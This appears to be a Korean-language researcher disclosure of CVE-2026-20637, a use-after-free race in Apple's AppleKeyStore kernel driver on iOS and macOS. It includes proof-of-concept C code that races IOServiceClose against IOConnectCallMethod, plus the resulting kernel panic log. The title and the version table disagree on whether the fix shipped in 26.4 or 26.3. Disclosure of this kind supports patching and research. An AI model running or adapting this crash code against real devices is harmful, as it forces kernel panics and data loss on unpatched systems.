
CVE-2026-20637: AppleSEPKeyStore 사용 후 해제(Use-After-Free) — iOS/macOS 커널 취약점 (26.4에서 패치됨)
CVE-2026-20637 | 작성자: Johnny Franks (@zeroxjf)
구성 요소: AppleKeyStore
영향: 앱이 예기치 않은 시스템 종료를 유발할 수 있음
설명: 향상된 메모리 관리를 통해 사용 후 해제(use-after-free) 문제를 해결했습니다.
| iOS | 26.1 - 26.2 (테스트 완료) |
| macOS | 26.1 - 26.2 (테스트 완료) |
| 구성 요소 | com.apple.driver.AppleSEPKeyStore |
| 패치 버전 | iOS 26.3 / iPadOS 26.3 |
참고: Apple은 26.2.1~26.3 사이에 이 문제를 단계적으로 패치했을 수 있으므로, 중간 버전에서는 동작하지 않을 수 있습니다.
이 PoC는 영향받는 기기에서 즉시 커널 패닉을 유발합니다. 실행 전에 작업을 저장하세요. 강제 패닉이 반복되면 저장되지 않은 상태가 손상될 수 있습니다.
IOCommandGate의 사용 후 해제(use-after-free) 취약점으로, AppleKeyStore의 열기/닫기(open/close) 경쟁 조건을 통해 트리거됩니다. 8개의 호출자 스레드가 셀렉터 0-15에 대해 IOConnectCallMethod를 반복 호출하는 동안, 4개의 닫기 스레드가 IOServiceClose와 경쟁하여 명령 게이트가 해제된 후 접근되는 시간 창이 발생합니다.
#define AKS_SERVICE_NAME "AppleKeyStore"
#define NUM_CALLERS 8
#define NUM_CLOSERS 4
#define NUM_ITERATIONS 100000
static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL;
// 8 caller threads: hammer IOConnectCallMethod (high priority)
while (!done) {
io_connect_t conn = atomic_load(&g_conn);
if (conn == IO_OBJECT_NULL) continue;
for (uint32_t sel = 0; sel < 16; sel++) {
IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL);
}
}
// 4 closer threads: race IOServiceClose (high priority)
while (!done) {
io_connect_t conn = atomic_load(&g_conn);
if (conn == IO_OBJECT_NULL) continue;
IOServiceClose(conn);
atomic_store(&g_conn, IO_OBJECT_NULL);
}
// Main thread: 100k connections, no delay
for (int i = 0; i < NUM_ITERATIONS; i++) {
uint32_t type = (i % 4 == 0) ? 0x2022 : (i % 4 == 1) ? 0xbeef : (i % 4 == 2) ? 0x1337 : 0x4141;
IOServiceOpen(svc, mach_task_self(), type, &conn);
atomic_store(&g_conn, conn);
// no delay: keep the close/call race window hot
}
panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free
(off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0)
72: 0xfffffffffffffe00
Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025;
root:xnu-12377.42.6~55/RELEASE_ARM64_T8030
Panicked task 0xffffffe5b4f1e820: pid 956: Test
Kernel Extensions in backtrace:
com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA]
@0xfffffff016a47020->0xfffffff016a84f9f